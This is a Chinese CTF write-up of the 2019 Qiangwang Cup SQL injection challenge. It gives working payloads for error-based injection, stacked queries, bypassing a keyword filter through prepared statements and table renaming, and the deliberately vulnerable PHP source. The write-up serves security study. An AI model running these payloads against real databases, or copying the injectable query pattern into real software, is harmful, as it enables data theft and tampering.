美文网首页CTF-WEB
2019-强网杯-Web-随便注

2019-强网杯-Web-随便注

作者: 余生似梦 | 来源:发表于2021-02-09 11:11 被阅读0次

    复现环境

    https://buuoj.cn/challenges#[%E5%BC%BA%E7%BD%91%E6%9D%AF%202019]%E9%9A%8F%E4%BE%BF%E6%B3%A8

    考察知识点

    • 堆叠注入
    • 绕过select和update关键字
    • 预编译绕过
    • 修改表名列名绕过

    解题分析

    打开题目看到是提交参数查询的窗口

    image

    尝试基本sql注入测试

    1. 探测有无注入

    1'   报错
    1'#  正常且为True
    1' and 1=1#  正常且为True
    1' and 1=2#  正常且为False
    

    可以得知存在注入,并且参数使用单引号闭合。

    2. 尝试获取列数

    1' order by 1#
    1' order by 2#
    1' order by 3#  报错
    

    得出列数为2

    3. 尝试获取数据库名,用户等基本信息

    尝试union查询

    -1' union se/**/lect null, user()#
    

    结果提示:

    return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
    

    这里过滤了select,也没有发现绕过select的地方(大小写,加注释)。

    于是可以考虑一下报错注入,这里限制了update,那么就不用updatexml,用extractvalue

    用户名
    1' and (extractvalue(1,concat(0x7e,user(),0x7e)));#
    error 1105 : XPATH syntax error: '~root@localhost~'
    
    数据库
    
    1' and (extractvalue(1,concat(0x7e,database(),0x7e)));#
    error 1105 : XPATH syntax error: '~supersqli~'
    
    版本
    1' and (extractvalue(1,concat(0x7e,version(),0x7e)));#
    error 1105 : XPATH syntax error: '~10.3.15-MariaDB~'
    

    到这里可以查出简单的信息,但是过滤了select,似乎无法进一步查表查列了。

    2. 利用堆叠注入绕过过滤

    1. 接下来我们尝试堆叠注入能否可行。

    -1';show tables#
    
    结果:
    array(1) {
      [0]=>
      string(16) "1919810931114514"
    }
    
    array(1) {
      [0]=>
      string(5) "words"
    }
    

    2. 堆叠注入可行,然后看一下表的字段

    -1';desc `1919810931114514`#
    -1';desc `words`#
    
    结果:
    array(6) {
      [0]=>
      string(4) "flag"
      [1]=>
      string(12) "varchar(100)"
      [2]=>
      string(2) "NO"
      [3]=>
      string(0) ""
      [4]=>
      NULL
      [5]=>
      string(0) ""
    }
    
    # 也可以用以下方式
    -1';show columns from `1919810931114514`#
    -1';show columns from `words`#
    
    # 注意,以上表名要加反引号
    

    3. 查数据

    上一步我们可以得知flag存在于supersqli数据库中的1919810931114514表的flag字段。

    接下来要读取此字段内的数据,我们要执行的目标语句是:

    select * from `1919810931114514`;
    

    这里需要绕过select的限制,我们可以使用预编译的方式。

    预编译相关语法如下:

    set用于设置变量名和值
    prepare用于预备一个语句,并赋予名称,以后可以引用该语句
    execute执行语句
    deallocate prepare用来释放掉预处理的语句
    

    直接看payload就懂了:

    -1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
    
    拆分开来如下
    -1';
    set @sql = CONCAT('se','lect * from `1919810931114514`;');
    prepare stmt from @sql;
    EXECUTE stmt;
    #
    

    结果为:

    strstr($inject, "set") && strstr($inject, "prepare")
    

    这里检测到了set和prepare关键词,但strstr这个函数并不能区分大小写,我们将其大写即可。

    -1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#
    
    拆分开来如下:
    -1';
    Set @sql = CONCAT('se','lect * from `1919810931114514`;');
    Prepare stmt from @sql;
    EXECUTE stmt;
    #
    

    结果为flag。

    绕过select还有第二个方法,更改表名列名

    由上面的探测我们可以猜测出这里会查询出words表的data列的结果。也就是类似于下面的sql语句:

    select * from words where id = '';
    

    我们将表1919810931114514名字改为words,flag列名字改为id,那么就能得到flag的内容了。

    修改表名和列名的语法如下:

    修改表名(将表名user改为users)
    alter table user rename to users;
    
    修改列名(将字段名username改为name)
    alter table users change uesrname name varchar(30);
    

    最终payload如下:

    1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
    
    拆分开来如下
    1';
    alter table words rename to words1;
    alter table `1919810931114514` rename to words;
    alter table words change flag id varchar(50);
    #
    

    然后使用1' or 1=1#即可查询出flag

    3. 题目源码分析

    从上面的docker里面可以看到题目的源码如下:

    <html>
    
    <head>
        <meta charset="UTF-8">
        <title>easy_sql</title>
    </head>
    
    <body>
    <h1>取材于某次真实环境渗透,只说一句话:开发和安全缺一不可</h1>
    <!-- sqlmap是没有灵魂的 -->
    <form method="get">
        姿势: <input type="text" name="inject" value="1">
        <input type="submit">
    </form>
    
    <pre>
    <?php
    function waf1($inject) {
        preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');
    }
    function waf2($inject) {
        strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
    }
    if(isset($_GET['inject'])) {
        $id = $_GET['inject'];
        waf1($id);
        waf2($id);
        $mysqli = new mysqli("127.0.0.1","root","root","supersqli");
        //多条sql语句
        $sql = "select * from `words` where id = '$id';";
        $res = $mysqli->multi_query($sql);
        if ($res){//使用multi_query()执行一条或多条sql语句
          do{
            if ($rs = $mysqli->store_result()){//store_result()方法获取第一条sql语句查询结果
              while ($row = $rs->fetch_row()){
                var_dump($row);
                echo "<br>";
              }
              $rs->Close(); //关闭结果集
              if ($mysqli->more_results()){  //判断是否还有更多结果集
                echo "<hr>";
              }
            }
          }while($mysqli->next_result()); //next_result()方法获取下一结果集,返回bool值
        } else {
          echo "error ".$mysqli->errno." : ".$mysqli->error;
        }
        $mysqli->close();  //关闭数据库连接
    }
    ?>
    </pre>
    
    </body>
    
    </html>
    
    

    使用multi_query()执行一条或多条sql语句,然后将结果全部输出。

    参考

    https://zhuanlan.zhihu.com/p/78989602

    相关文章

      网友评论

        本文标题:2019-强网杯-Web-随便注

        本文链接:https://www.haomeiwen.com/subject/wamqxltx.html